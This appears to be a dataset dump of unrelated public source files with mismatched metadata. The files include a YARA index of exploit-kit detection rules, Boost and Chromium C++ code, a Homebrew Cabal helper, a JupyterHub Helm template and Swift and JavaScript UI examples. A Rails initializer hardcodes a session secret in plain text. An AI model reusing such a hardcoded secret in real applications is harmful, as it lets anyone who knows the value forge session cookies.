text
stringlengths
101
197k
meta
stringlengths
167
272
__all__ = [] import pkgutil import inspect for loader, name, is_pkg in pkgutil.walk_packages(__path__): module = loader.find_module(name).load_module(name) for name, value in inspect.getmembers(module): if name.startswith('__'): continue globals()[name] = value __all__.append(name)
{'repo_name': 'matthew-sochor-zz/transfer', 'stars': '117', 'repo_language': 'Python', 'file_name': 'inception_v3.py', 'mime_type': 'text/x-python', 'hash': 6853036639844234735, 'source_dataset': 'data'}
/* Generated by Yara-Rules On 10-07-2020 */ include "./exploit_kits/EK_Angler.yar" include "./exploit_kits/EK_Blackhole.yar" include "./exploit_kits/EK_BleedingLife.yar" include "./exploit_kits/EK_Crimepack.yar" include "./exploit_kits/EK_Eleonore.yar" include "./exploit_kits/EK_Fragus.yar" include "./exploit_kits/EK_Phoenix.yar" include "./exploit_kits/EK_Sakura.yar" include "./exploit_kits/EK_ZeroAcces.yar" include "./exploit_kits/EK_Zerox88.yar" include "./exploit_kits/EK_Zeus.yar"
{'repo_name': 'Yara-Rules/rules', 'stars': '2205', 'repo_language': 'YARA', 'file_name': 'HotelAlfa.yara', 'mime_type': 'text/plain', 'hash': 522039280411959537, 'source_dataset': 'data'}
/* Copyright 2005-2007 Adobe Systems Incorporated Use, modification and distribution are subject to the Boost Software License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt). See http://stlab.adobe.com/gil for most recent version including documentation. */ /*************************************************************************************************/ #ifndef GIL_COLOR_BASE_HPP #define GIL_COLOR_BASE_HPP //////////////////////////////////////////////////////////////////////////////////////// /// \file /// \brief pixel class and related utilities /// \author Lubomir Bourdev and Hailin Jin \n /// Adobe Systems Incorporated /// \date 2005-2007 \n Last updated on May 6, 2007 /// //////////////////////////////////////////////////////////////////////////////////////// #include <cassert> #include <boost/mpl/range_c.hpp> #include <boost/mpl/size.hpp> #include <boost/mpl/vector_c.hpp> #include <boost/type_traits.hpp> #include <boost/utility/enable_if.hpp> #include "gil_config.hpp" #include "utilities.hpp" #include "gil_concept.hpp" namespace boost { namespace gil { // Forward-declare template <typename P> P* memunit_advanced(const P* p, std::ptrdiff_t diff); // Forward-declare semantic_at_c template <int K, typename ColorBase> typename disable_if<is_const<ColorBase>,typename kth_semantic_element_reference_type<ColorBase,K>::type>::type semantic_at_c(ColorBase& p); template <int K, typename ColorBase> typename kth_semantic_element_const_reference_type<ColorBase,K>::type semantic_at_c(const ColorBase& p); // Forward declare element_reference_type template <typename ColorBase> struct element_reference_type; template <typename ColorBase> struct element_const_reference_type; template <typename ColorBase, int K> struct kth_element_type; template <typename ColorBase, int K> struct kth_element_type<const ColorBase,K> : public kth_element_type<ColorBase,K> {}; template <typename ColorBase, int K> struct kth_element_reference_type; template <typename ColorBase, int K> struct kth_element_reference_type<const ColorBase,K> : public kth_element_reference_type<ColorBase,K> {}; template <typename ColorBase, int K> struct kth_element_const_reference_type; template <typename ColorBase, int K> struct kth_element_const_reference_type<const ColorBase,K> : public kth_element_const_reference_type<ColorBase,K> {}; namespace detail { template <typename DstLayout, typename SrcLayout, int K> struct mapping_transform : public mpl::at<typename SrcLayout::channel_mapping_t, typename detail::type_to_index<typename DstLayout::channel_mapping_t,mpl::integral_c<int,K> >::type >::type {}; /// \defgroup ColorBaseModelHomogeneous detail::homogeneous_color_base /// \ingroup ColorBaseModel /// \brief A homogeneous color base holding one color element. Models HomogeneousColorBaseConcept or HomogeneousColorBaseValueConcept /// If the element type models Regular, this class models HomogeneousColorBaseValueConcept. /// \brief A homogeneous color base holding one color element. Models HomogeneousColorBaseConcept or HomogeneousColorBaseValueConcept /// \ingroup ColorBaseModelHomogeneous template <typename Element, typename Layout> struct homogeneous_color_base<Element,Layout,1> { private: Element _v0; public: typedef Layout layout_t; typename element_reference_type<homogeneous_color_base>::type at(mpl::int_<0>) { return _v0; } typename element_const_reference_type<homogeneous_color_base>::type at(mpl::int_<0>) const { return _v0; } homogeneous_color_base() {} homogeneous_color_base(Element v) : _v0(v) {} // grayscale pixel values are convertible to channel type operator Element () const { return _v0; } template <typename E2, typename L2> homogeneous_color_base(const homogeneous_color_base<E2,L2,1>& c) : _v0(at_c<0>(c)) {} }; /// \brief A homogeneous color base holding two color elements. Models HomogeneousColorBaseConcept or HomogeneousColorBaseValueConcept /// \ingroup ColorBaseModelHomogeneous template <typename Element, typename Layout> struct homogeneous_color_base<Element,Layout,2> { private: Element _v0, _v1; public: typedef Layout layout_t; typename element_reference_type<homogeneous_color_base>::type at(mpl::int_<0>) { return _v0; } typename element_const_reference_type<homogeneous_color_base>::type at(mpl::int_<0>) const { return _v0; } typename element_reference_type<homogeneous_color_base>::type at(mpl::int_<1>) { return _v1; } typename element_const_reference_type<homogeneous_color_base>::type at(mpl::int_<1>) const { return _v1; } homogeneous_color_base() {} explicit homogeneous_color_base(Element v) : _v0(v), _v1(v) {} homogeneous_color_base(Element v0, Element v1) : _v0(v0), _v1(v1) {} template <typename E2, typename L2> homogeneous_color_base(const homogeneous_color_base<E2,L2,2>& c) : _v0(at_c<mapping_transform<Layout,L2,0>::value>(c)), _v1(at_c<mapping_transform<Layout,L2,1>::value>(c)) {} // Support for l-value reference proxy copy construction template <typename E2, typename L2> homogeneous_color_base( homogeneous_color_base<E2,L2,2>& c) : _v0(at_c<mapping_transform<Layout,L2,0>::value>(c)), _v1(at_c<mapping_transform<Layout,L2,1>::value>(c)) {} // Support for planar_pixel_iterator construction and dereferencing template <typename P> homogeneous_color_base(P* p,bool) : _v0(&semantic_at_c<0>(*p)), _v1(&semantic_at_c<1>(*p)) {} template <typename Ref> Ref deref() const { return Ref(*semantic_at_c<0>(*this), *semantic_at_c<1>(*this)); } // Support for planar_pixel_reference offset constructor template <typename Ptr> homogeneous_color_base(const Ptr& ptr, std::ptrdiff_t diff) : _v0(*memunit_advanced(semantic_at_c<0>(ptr),diff)), _v1(*memunit_advanced(semantic_at_c<1>(ptr),diff)) {} // Support for planar_pixel_reference operator[] Element at_c_dynamic(std::size_t i) const { if (i==0) return _v0; return _v1; } }; /// \brief A homogeneous color base holding three color elements. Models HomogeneousColorBaseConcept or HomogeneousColorBaseValueConcept /// \ingroup ColorBaseModelHomogeneous template <typename Element, typename Layout> struct homogeneous_color_base<Element,Layout,3> { private: Element _v0, _v1, _v2; public: typedef Layout layout_t; typename element_reference_type<homogeneous_color_base>::type at(mpl::int_<0>) { return _v0; } typename element_const_reference_type<homogeneous_color_base>::type at(mpl::int_<0>) const { return _v0; } typename element_reference_type<homogeneous_color_base>::type at(mpl::int_<1>) { return _v1; } typename element_const_reference_type<homogeneous_color_base>::type at(mpl::int_<1>) const { return _v1; } typename element_reference_type<homogeneous_color_base>::type at(mpl::int_<2>) { return _v2; } typename element_const_reference_type<homogeneous_color_base>::type at(mpl::int_<2>) const { return _v2; } homogeneous_color_base() {} explicit homogeneous_color_base(Element v) : _v0(v), _v1(v), _v2(v) {} homogeneous_color_base(Element v0, Element v1, Element v2) : _v0(v0), _v1(v1), _v2(v2) {} template <typename E2, typename L2> homogeneous_color_base(const homogeneous_color_base<E2,L2,3>& c) : _v0(gil::at_c<mapping_transform<Layout,L2,0>::value>(c)), _v1(gil::at_c<mapping_transform<Layout,L2,1>::value>(c)), _v2(gil::at_c<mapping_transform<Layout,L2,2>::value>(c)) {} // Support for l-value reference proxy copy construction template <typename E2, typename L2> homogeneous_color_base( homogeneous_color_base<E2,L2,3>& c) : _v0(gil::at_c<mapping_transform<Layout,L2,0>::value>(c)), _v1(gil::at_c<mapping_transform<Layout,L2,1>::value>(c)), _v2(gil::at_c<mapping_transform<Layout,L2,2>::value>(c)) {} // Support for planar_pixel_iterator construction and dereferencing template <typename P> homogeneous_color_base(P* p,bool) : _v0(&semantic_at_c<0>(*p)), _v1(&semantic_at_c<1>(*p)), _v2(&semantic_at_c<2>(*p)) {} template <typename Ref> Ref deref() const { return Ref(*semantic_at_c<0>(*this), *semantic_at_c<1>(*this), *semantic_at_c<2>(*this)); } // Support for planar_pixel_reference offset constructor template <typename Ptr> homogeneous_color_base(const Ptr& ptr, std::ptrdiff_t diff) : _v0(*memunit_advanced(semantic_at_c<0>(ptr),diff)), _v1(*memunit_advanced(semantic_at_c<1>(ptr),diff)), _v2(*memunit_advanced(semantic_at_c<2>(ptr),diff)) {} // Support for planar_pixel_reference operator[] Element at_c_dynamic(std::size_t i) const { switch (i) { case 0: return _v0; case 1: return _v1; } return _v2; } }; /// \brief A homogeneous color base holding four color elements. Models HomogeneousColorBaseConcept or HomogeneousColorBaseValueConcept /// \ingroup ColorBaseModelHomogeneous template <typename Element, typename Layout> struct homogeneous_color_base<Element,Layout,4> { private: Element _v0, _v1, _v2, _v3; public: typedef Layout layout_t; typename element_reference_type<homogeneous_color_base>::type at(mpl::int_<0>) { return _v0; } typename element_const_reference_type<homogeneous_color_base>::type at(mpl::int_<0>) const { return _v0; } typename element_reference_type<homogeneous_color_base>::type at(mpl::int_<1>) { return _v1; } typename element_const_reference_type<homogeneous_color_base>::type at(mpl::int_<1>) const { return _v1; } typename element_reference_type<homogeneous_color_base>::type at(mpl::int_<2>) { return _v2; } typename element_const_reference_type<homogeneous_color_base>::type at(mpl::int_<2>) const { return _v2; } typename element_reference_type<homogeneous_color_base>::type at(mpl::int_<3>) { return _v3; } typename element_const_reference_type<homogeneous_color_base>::type at(mpl::int_<3>) const { return _v3; } homogeneous_color_base() {} explicit homogeneous_color_base(Element v) : _v0(v), _v1(v), _v2(v), _v3(v) {} homogeneous_color_base(Element v0, Element v1, Element v2, Element v3) : _v0(v0), _v1(v1), _v2(v2), _v3(v3) {} template <typename E2, typename L2> homogeneous_color_base(const homogeneous_color_base<E2,L2,4>& c) : _v0(at_c<mapping_transform<Layout,L2,0>::value>(c)), _v1(at_c<mapping_transform<Layout,L2,1>::value>(c)), _v2(at_c<mapping_transform<Layout,L2,2>::value>(c)), _v3(at_c<mapping_transform<Layout,L2,3>::value>(c)) {} // Support for l-value reference proxy copy construction template <typename E2, typename L2> homogeneous_color_base( homogeneous_color_base<E2,L2,4>& c) : _v0(at_c<mapping_transform<Layout,L2,0>::value>(c)), _v1(at_c<mapping_transform<Layout,L2,1>::value>(c)), _v2(at_c<mapping_transform<Layout,L2,2>::value>(c)), _v3(at_c<mapping_transform<Layout,L2,3>::value>(c)) {} // Support for planar_pixel_iterator construction and dereferencing template <typename P> homogeneous_color_base(P* p,bool) : _v0(&semantic_at_c<0>(*p)), _v1(&semantic_at_c<1>(*p)), _v2(&semantic_at_c<2>(*p)), _v3(&semantic_at_c<3>(*p)) {} template <typename Ref> Ref deref() const { return Ref(*semantic_at_c<0>(*this), *semantic_at_c<1>(*this), *semantic_at_c<2>(*this), *semantic_at_c<3>(*this)); } // Support for planar_pixel_reference offset constructor template <typename Ptr> homogeneous_color_base(const Ptr& ptr, std::ptrdiff_t diff) : _v0(*memunit_advanced(semantic_at_c<0>(ptr),diff)), _v1(*memunit_advanced(semantic_at_c<1>(ptr),diff)), _v2(*memunit_advanced(semantic_at_c<2>(ptr),diff)), _v3(*memunit_advanced(semantic_at_c<3>(ptr),diff)) {} // Support for planar_pixel_reference operator[] Element at_c_dynamic(std::size_t i) const { switch (i) { case 0: return _v0; case 1: return _v1; case 2: return _v2; } return _v3; } }; /// \brief A homogeneous color base holding five color elements. Models HomogeneousColorBaseConcept or HomogeneousColorBaseValueConcept /// \ingroup ColorBaseModelHomogeneous template <typename Element, typename Layout> struct homogeneous_color_base<Element,Layout,5> { private: Element _v0, _v1, _v2, _v3, _v4; public: typedef Layout layout_t; typename element_reference_type<homogeneous_color_base>::type at(mpl::int_<0>) { return _v0; } typename element_const_reference_type<homogeneous_color_base>::type at(mpl::int_<0>) const { return _v0; } typename element_reference_type<homogeneous_color_base>::type at(mpl::int_<1>) { return _v1; } typename element_const_reference_type<homogeneous_color_base>::type at(mpl::int_<1>) const { return _v1; } typename element_reference_type<homogeneous_color_base>::type at(mpl::int_<2>) { return _v2; } typename element_const_reference_type<homogeneous_color_base>::type at(mpl::int_<2>) const { return _v2; } typename element_reference_type<homogeneous_color_base>::type at(mpl::int_<3>) { return _v3; } typename element_const_reference_type<homogeneous_color_base>::type at(mpl::int_<3>) const { return _v3; } typename element_reference_type<homogeneous_color_base>::type at(mpl::int_<4>) { return _v4; } typename element_const_reference_type<homogeneous_color_base>::type at(mpl::int_<4>) const { return _v4; } homogeneous_color_base() {} explicit homogeneous_color_base(Element v) : _v0(v), _v1(v), _v2(v), _v3(v), _v4(v) {} homogeneous_color_base(Element v0, Element v1, Element v2, Element v3, Element v4) : _v0(v0), _v1(v1), _v2(v2), _v3(v3), _v4(v4) {} template <typename E2, typename L2> homogeneous_color_base(const homogeneous_color_base<E2,L2,5>& c) : _v0(at_c<mapping_transform<Layout,L2,0>::value>(c)), _v1(at_c<mapping_transform<Layout,L2,1>::value>(c)), _v2(at_c<mapping_transform<Layout,L2,2>::value>(c)), _v3(at_c<mapping_transform<Layout,L2,3>::value>(c)), _v4(at_c<mapping_transform<Layout,L2,4>::value>(c)) {} // Support for l-value reference proxy copy construction template <typename E2, typename L2> homogeneous_color_base( homogeneous_color_base<E2,L2,5>& c) : _v0(at_c<mapping_transform<Layout,L2,0>::value>(c)), _v1(at_c<mapping_transform<Layout,L2,1>::value>(c)), _v2(at_c<mapping_transform<Layout,L2,2>::value>(c)), _v3(at_c<mapping_transform<Layout,L2,3>::value>(c)), _v4(at_c<mapping_transform<Layout,L2,4>::value>(c)) {} // Support for planar_pixel_iterator construction and dereferencing template <typename P> homogeneous_color_base(P* p,bool) : _v0(&semantic_at_c<0>(*p)), _v1(&semantic_at_c<1>(*p)), _v2(&semantic_at_c<2>(*p)), _v3(&semantic_at_c<3>(*p)), _v4(&semantic_at_c<4>(*p)) {} template <typename Ref> Ref deref() const { return Ref(*semantic_at_c<0>(*this), *semantic_at_c<1>(*this), *semantic_at_c<2>(*this), *semantic_at_c<3>(*this), *semantic_at_c<4>(*this)); } // Support for planar_pixel_reference offset constructor template <typename Ptr> homogeneous_color_base(const Ptr& ptr, std::ptrdiff_t diff) : _v0(*memunit_advanced(semantic_at_c<0>(ptr),diff)), _v1(*memunit_advanced(semantic_at_c<1>(ptr),diff)), _v2(*memunit_advanced(semantic_at_c<2>(ptr),diff)), _v3(*memunit_advanced(semantic_at_c<3>(ptr),diff)), _v4(*memunit_advanced(semantic_at_c<4>(ptr),diff)) {} // Support for planar_pixel_reference operator[] Element at_c_dynamic(std::size_t i) const { switch (i) { case 0: return _v0; case 1: return _v1; case 2: return _v2; case 3: return _v3; } return _v4; } }; // The following way of casting adjacent channels (the contents of color_base) into an array appears to be unsafe // -- there is no guarantee that the compiler won't add any padding between adjacent channels. // Note, however, that GIL _must_ be compiled with compiler settings ensuring there is no padding in the color base structs. // This is because the color base structs must model the interleaved organization in memory. In other words, the client may // have existing RGB image in the form "RGBRGBRGB..." and we must be able to represent it with an array of RGB color bases (i.e. RGB pixels) // with no padding. We have tested with char/int/float/double channels on gcc and VC and have so far discovered no problem. // We have even tried using strange channels consisting of short + char (3 bytes). With the default 4-byte alignment on VC, the size // of this channel is padded to 4 bytes, so an RGB pixel of it will be 4x3=12 bytes. The code below will still work properly. // However, the client must nevertheless ensure that proper compiler settings are used for their compiler and their channel types. template <typename Element, typename Layout, int K> typename element_reference_type<homogeneous_color_base<Element,Layout,K> >::type dynamic_at_c(homogeneous_color_base<Element,Layout,K>& cb, std::size_t i) { assert(i<K); return (gil_reinterpret_cast<Element*>(&cb))[i]; } template <typename Element, typename Layout, int K> typename element_const_reference_type<homogeneous_color_base<Element,Layout,K> >::type dynamic_at_c(const homogeneous_color_base<Element,Layout,K>& cb, std::size_t i) { assert(i<K); return (gil_reinterpret_cast_c<const Element*>(&cb))[i]; } template <typename Element, typename Layout, int K> typename element_reference_type<homogeneous_color_base<Element&,Layout,K> >::type dynamic_at_c(const homogeneous_color_base<Element&,Layout,K>& cb, std::size_t i) { assert(i<K); return cb.at_c_dynamic(i); } template <typename Element, typename Layout, int K> typename element_const_reference_type<homogeneous_color_base<const Element&,Layout,K> >::type dynamic_at_c(const homogeneous_color_base<const Element&,Layout,K>& cb, std::size_t i) { assert(i<K); return cb.at_c_dynamic(i); } } // namespace detail template <typename Element, typename Layout, int K1, int K> struct kth_element_type<detail::homogeneous_color_base<Element,Layout,K1>, K> { typedef Element type; }; template <typename Element, typename Layout, int K1, int K> struct kth_element_reference_type<detail::homogeneous_color_base<Element,Layout,K1>, K> : public add_reference<Element> {}; template <typename Element, typename Layout, int K1, int K> struct kth_element_const_reference_type<detail::homogeneous_color_base<Element,Layout,K1>, K> : public add_reference<typename add_const<Element>::type> {}; /// \brief Provides mutable access to the K-th element, in physical order /// \ingroup ColorBaseModelHomogeneous template <int K, typename E, typename L, int N> inline typename add_reference<E>::type at_c( detail::homogeneous_color_base<E,L,N>& p) { return p.at(mpl::int_<K>()); } /// \brief Provides constant access to the K-th element, in physical order /// \ingroup ColorBaseModelHomogeneous template <int K, typename E, typename L, int N> inline typename add_reference<typename add_const<E>::type>::type at_c(const detail::homogeneous_color_base<E,L,N>& p) { return p.at(mpl::int_<K>()); } namespace detail { struct swap_fn { template <typename T> void operator()(T& x, T& y) const { using std::swap; swap(x,y); } }; } template <typename E, typename L, int N> inline void swap(detail::homogeneous_color_base<E,L,N>& x, detail::homogeneous_color_base<E,L,N>& y) { static_for_each(x,y,detail::swap_fn()); } } } // namespace boost::gil #endif
{'repo_name': 'steniowagner/bon-appetit-app', 'stars': '262', 'repo_language': 'JavaScript', 'file_name': 'settings.json', 'mime_type': 'text/plain', 'hash': 1294950643442481956, 'source_dataset': 'data'}
// Copyright (c) 2013 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "net/disk_cache/simple/simple_entry_format.h" #include <cstring> namespace disk_cache { SimpleFileHeader::SimpleFileHeader() { // Make hashing repeatable: leave no padding bytes untouched. std::memset(this, 0, sizeof(*this)); } SimpleFileEOF::SimpleFileEOF() { // Make hashing repeatable: leave no padding bytes untouched. std::memset(this, 0, sizeof(*this)); } SimpleFileSparseRangeHeader::SimpleFileSparseRangeHeader() { // Make hashing repeatable: leave no padding bytes untouched. std::memset(this, 0, sizeof(*this)); } } // namespace disk_cache
{'repo_name': 'hanpfei/chromium-net', 'stars': '204', 'repo_language': 'C++', 'file_name': 'testmap.c', 'mime_type': 'text/x-c', 'hash': -3344142981949513605, 'source_dataset': 'data'}
// -*- MPC -*- project : taolib, portableserver, pi, objreftemplate, valuetype { after += IORInterceptor libs += TAO_IORInterceptor }
{'repo_name': 'DOCGroup/ACE_TAO', 'stars': '410', 'repo_language': 'C++', 'file_name': 'Hello.h', 'mime_type': 'text/x-c++', 'hash': -5366015753369619006, 'source_dataset': 'data'}
#include <windef.h> #define REACTOS_VERSION_DLL #define REACTOS_STR_FILE_DESCRIPTION "Unicode name DLL" #define REACTOS_STR_INTERNAL_NAME "getuname" #define REACTOS_STR_ORIGINAL_FILENAME "getuname.dll" #include <reactos/version.rc> /* UTF-8 */ #pragma code_page(65001) #ifdef LANGUAGE_DE_DE #include "lang/de-DE.rc" #endif #ifdef LANGUAGE_EN_US #include "lang/en-US.rc" #endif #ifdef LANGUAGE_FR_FR #include "lang/fr-FR.rc" #endif #ifdef LANGUAGE_RO_RO #include "lang/ro-RO.rc" #endif #ifdef LANGUAGE_RU_RU #include "lang/ru-RU.rc" #endif #ifdef LANGUAGE_SQ_AL #include "lang/sq-AL.rc" #endif #ifdef LANGUAGE_ZH_CN #include "lang/zh-CN.rc" #endif
{'repo_name': 'reactos/reactos-deprecated-gitsvn-dont-use', 'stars': '307', 'repo_language': 'C', 'file_name': 'options.c', 'mime_type': 'text/x-c', 'hash': 1625169839403819584, 'source_dataset': 'data'}
/*-----------------------------------------------------------------------------+ Copyright (c) 2010-2010: Joachim Faulhaber +------------------------------------------------------------------------------+ Distributed under the Boost Software License, Version 1.0. (See accompanying file LICENCE.txt or copy at http://www.boost.org/LICENSE_1_0.txt) +-----------------------------------------------------------------------------*/ #ifndef BOOST_ICL_TYPE_TRAITS_IS_DISCRETE_INTERVAL_HPP_JOFA_100327 #define BOOST_ICL_TYPE_TRAITS_IS_DISCRETE_INTERVAL_HPP_JOFA_100327 #include <boost/icl/type_traits/is_interval.hpp> namespace boost{ namespace icl { template <class Type> struct is_discrete_interval { typedef is_discrete_interval<Type> type; BOOST_STATIC_CONSTANT(bool, value = false); }; }} // namespace boost icl #endif
{'repo_name': 'marcosd4h/memhunter', 'stars': '246', 'repo_language': 'C++', 'file_name': 'conf.json', 'mime_type': 'text/plain', 'hash': 5665561799641590673, 'source_dataset': 'data'}
before: # before.comment after: # after.comment before-after: # before-after.comment none: # none.comment before(2 line): # before.comment after(2 line): # after.comment before-after(2 line): # before-after.comment none(2): # none.comment
{'repo_name': 'prettier/prettier', 'stars': '37140', 'repo_language': 'JavaScript', 'file_name': 'jsfmt.spec.js.snap', 'mime_type': 'text/plain', 'hash': 8754639499880364456, 'source_dataset': 'data'}
# Be sure to restart your server when you modify this file. # Your secret key for verifying cookie session data integrity. # If you change this key, all old sessions will become invalid! # Make sure the secret is at least 30 characters and all random, # no regular words or you'll be exposed to dictionary attacks. ActionController::Base.session = { :key => '_trendingtopics_session', :secret => '8de384d4c2b507409612286579c67c862fcfa45af508d2daa93d2cd78597977e10987c14a50eac96702919baa0e4e7e6d1d38001f176edd49d5e5eabd494a4af' } # Use the database for sessions instead of the cookie-based default, # which shouldn't be used to store highly confidential information # (create the session table with "rake db:sessions:create") # ActionController::Base.session_store = :active_record_store
{'repo_name': 'datawrangling/trendingtopics', 'stars': '352', 'repo_language': 'Ruby', 'file_name': 'dragdrop.js', 'mime_type': 'text/plain', 'hash': 11058495221862702, 'source_dataset': 'data'}
module Language module Haskell module Cabal def self.included(base) # use llvm-gcc on Lion or below, as when building GHC) base.fails_with(:clang) if MacOS.version <= :lion end def cabal_sandbox(options = {}) pwd = Pathname.pwd home = options[:home] || pwd # pretend HOME is elsewhere, so that ~/.cabal is kept as untouched # as possible (except for ~/.cabal/setup-exe-cache) # https://github.com/haskell/cabal/issues/1234 saved_home = ENV["HOME"] ENV["HOME"] = home system "cabal", "v1-sandbox", "init" cabal_sandbox_bin = pwd/".cabal-sandbox/bin" mkdir_p cabal_sandbox_bin # make available any tools that will be installed in the sandbox saved_path = ENV["PATH"] ENV.prepend_path "PATH", cabal_sandbox_bin # avoid updating the cabal package database more than once system "cabal", "v1-update" unless (home/".cabal/packages").exist? yield # remove the sandbox and all build products rm_rf [".cabal-sandbox", "cabal.sandbox.config", "dist"] # avoid installing any Haskell libraries, as a matter of policy rm_rf lib unless options[:keep_lib] # restore the environment ENV["HOME"] = saved_home ENV["PATH"] = saved_path end def cabal_sandbox_add_source(*args) system "cabal", "v1-sandbox", "add-source", *args end def cabal_install(*args) # cabal hardcodes 64 as the maximum number of parallel jobs # https://github.com/Homebrew/legacy-homebrew/issues/49509 make_jobs = (ENV.make_jobs > 64) ? 64 : ENV.make_jobs # cabal-install's dependency-resolution backtracking strategy can easily # need more than the default 2,000 maximum number of "backjumps," since # Hackage is a fast-moving, rolling-release target. The highest known # needed value by a formula at this time (February 2016) was 43,478 for # git-annex, so 100,000 should be enough to avoid most gratuitous # backjumps build failures. system "cabal", "v1-install", "--jobs=#{make_jobs}", "--max-backjumps=100000", *args end def cabal_configure(flags) system "cabal", "v1-configure", flags end def cabal_install_tools(*tools) # install tools sequentially, as some tools can depend on other tools tools.each { |tool| cabal_install tool } # unregister packages installed as dependencies for the tools, so # that they can't cause dependency conflicts for the main package rm_rf Dir[".cabal-sandbox/*packages.conf.d/"] end def install_cabal_package(*args, **options) cabal_sandbox do cabal_install_tools(*options[:using]) if options[:using] # if we have build flags, we have to pass them to cabal install to resolve the necessary # dependencies, and call cabal configure afterwards to set the flags again for compile flags = "--flags=#{options[:flags].join(" ")}" if options[:flags] args_and_flags = args args_and_flags << flags unless flags.nil? # install dependencies in the sandbox cabal_install "--only-dependencies", *args_and_flags # call configure if build flags are set cabal_configure flags unless flags.nil? # install the main package in the destination dir cabal_install "--prefix=#{prefix}", *args yield if block_given? end end end end end
{'repo_name': 'Linuxbrew/brew', 'stars': '2556', 'repo_language': 'Ruby', 'file_name': 'config.yml', 'mime_type': 'text/plain', 'hash': -420330905720239144, 'source_dataset': 'data'}
{{- /* These user-placeholder pods can be used to test cluster autoscaling in a controlled fashion. Example: $ echo 'Simulating four users...' $ kubectl scale sts/user-placeholder --replicas 4 */}} {{- if .Values.scheduling.userPlaceholder.enabled -}} apiVersion: apps/v1 kind: StatefulSet metadata: name: user-placeholder labels: {{- include "jupyterhub.labels" . | nindent 4 }} spec: podManagementPolicy: Parallel replicas: {{ .Values.scheduling.userPlaceholder.replicas }} selector: matchLabels: {{- include "jupyterhub.matchLabels" . | nindent 6 }} serviceName: "user-placeholder" template: metadata: labels: {{- /* Changes here will cause the Deployment to restart the pods. */}} {{- include "jupyterhub.matchLabels" . | nindent 8 }} spec: {{- if .Values.scheduling.podPriority.enabled }} priorityClassName: {{ .Release.Name }}-user-placeholder-priority {{- end }} {{- if .Values.scheduling.userScheduler.enabled }} schedulerName: {{ .Release.Name }}-user-scheduler {{- end }} tolerations: {{- include "jupyterhub.userTolerations" . | nindent 8 }} nodeSelector: {{ toJson .Values.singleuser.nodeSelector }} {{- if include "jupyterhub.userAffinity" . }} affinity: {{- include "jupyterhub.userAffinity" . | nindent 8 }} {{- end }} terminationGracePeriodSeconds: 0 automountServiceAccountToken: false containers: - name: pause image: {{ .Values.prePuller.pause.image.name }}:{{ .Values.prePuller.pause.image.tag }} resources: {{- include "jupyterhub.resources" . | nindent 12 }} {{- end }}
{'repo_name': 'jupyterhub/zero-to-jupyterhub-k8s', 'stars': '724', 'repo_language': 'Python', 'file_name': 'step-zero-ibm.rst', 'mime_type': 'text/plain', 'hash': -5862934248355999011, 'source_dataset': 'data'}
define(['jquery', 'knockout', 'd3'], function ($, ko, d3) { function renderTreemap(data, target, options) { var w = 400; var h = 400; var x = d3.scaleLinear().range([0, w]); var y = d3.scaleLinear().range([0, h]); var treemap = d3.treemap() .round(false) .size([w, h]); var hierarchy = d3.hierarchy(data, d => d.children).sum(d => d.size); var tree = treemap(hierarchy); var nodes = tree.leaves().filter(d => d.data.size); var svg = d3.select(target) .append("svg:svg") .attr("width", w) .attr("height", h) .append("svg:g"); var cell = svg.selectAll("g") .data(nodes) .enter().append("svg:g") .attr("class", function (d) { return "cell"; }) .attr("transform", function (d) { return `translate(${d.x0}, ${d.y0})`; }) ; cell.append("svg:rect") .attr("width", function (d) { return Math.max(0, d.x1 - d.x0 - 1); }) .attr("height", function (d) { return Math.max(0, d.y1 - d.y0 - 1); }) .attr("class", "") .attr("id", function (d) { return d.data.name; }) .text(function (d) { return d.children ? null : d.data.name; }) .style("fill", function (d) { return options.colorPicker && options.colorPicker(d.data) || "#FFFFFF"; }) .on("mouseover", function() { d3.select(this).classed("selected",true); }) .on("mouseout", function() { d3.select(this).classed("selected",false); }); } ko.bindingHandlers.treemap = { init: function (element, valueAccessor, allBindingsAccessor) { return { controlsDescendantBindings: true }; }, update: function (element, valueAccessor, allBindingsAccessor, viewModel, bindingContext) { var data = JSON.parse(valueAccessor().data); var options = valueAccessor().options; d3.select(element).selectAll('svg').remove(); renderTreemap(data, element, options); } }; });
{'repo_name': 'OHDSI/Atlas', 'stars': '131', 'repo_language': 'JavaScript', 'file_name': 'css.js', 'mime_type': 'text/plain', 'hash': 4906445829341027224, 'source_dataset': 'data'}
// // SimpleTableViewExampleSectionedViewController.swift // RxExample // // Created by Krunoslav Zaher on 12/6/15. // Copyright © 2015 Krunoslav Zaher. All rights reserved. // import UIKit #if !RX_NO_MODULE import RxSwift import RxCocoa #endif class SimpleTableViewExampleSectionedViewController : ViewController , UITableViewDelegate { @IBOutlet weak var tableView: UITableView! let dataSource = RxTableViewSectionedReloadDataSource<SectionModel<String, Double>>() override func viewDidLoad() { super.viewDidLoad() let dataSource = self.dataSource let items = Observable.just([ SectionModel(model: "First section", items: [ 1.0, 2.0, 3.0 ]), SectionModel(model: "Second section", items: [ 1.0, 2.0, 3.0 ]), SectionModel(model: "Third section", items: [ 1.0, 2.0, 3.0 ]) ]) dataSource.configureCell = { (_, tv, indexPath, element) in let cell = tv.dequeueReusableCell(withIdentifier: "Cell")! cell.textLabel?.text = "\(element) @ row \(indexPath.row)" return cell } dataSource.titleForHeaderInSection = { dataSource, sectionIndex in return dataSource[sectionIndex].model } items .bind(to: tableView.rx.items(dataSource: dataSource)) .disposed(by: disposeBag) tableView.rx .itemSelected .map { indexPath in return (indexPath, dataSource[indexPath]) } .subscribe(onNext: { pair in DefaultWireframe.presentAlert("Tapped `\(pair.1)` @ \(pair.0)") }) .disposed(by: disposeBag) tableView.rx .setDelegate(self) .disposed(by: disposeBag) } // to prevent swipe to delete behavior func tableView(_ tableView: UITableView, editingStyleForRowAt indexPath: IndexPath) -> UITableViewCellEditingStyle { return .none } func tableView(_ tableView: UITableView, heightForHeaderInSection section: Int) -> CGFloat { return 40 } }
{'repo_name': 'AdamDanielKing/complex-gestures-demo', 'stars': '138', 'repo_language': 'Swift', 'file_name': 'constants.py', 'mime_type': 'text/plain', 'hash': -2998874791248174648, 'source_dataset': 'data'}
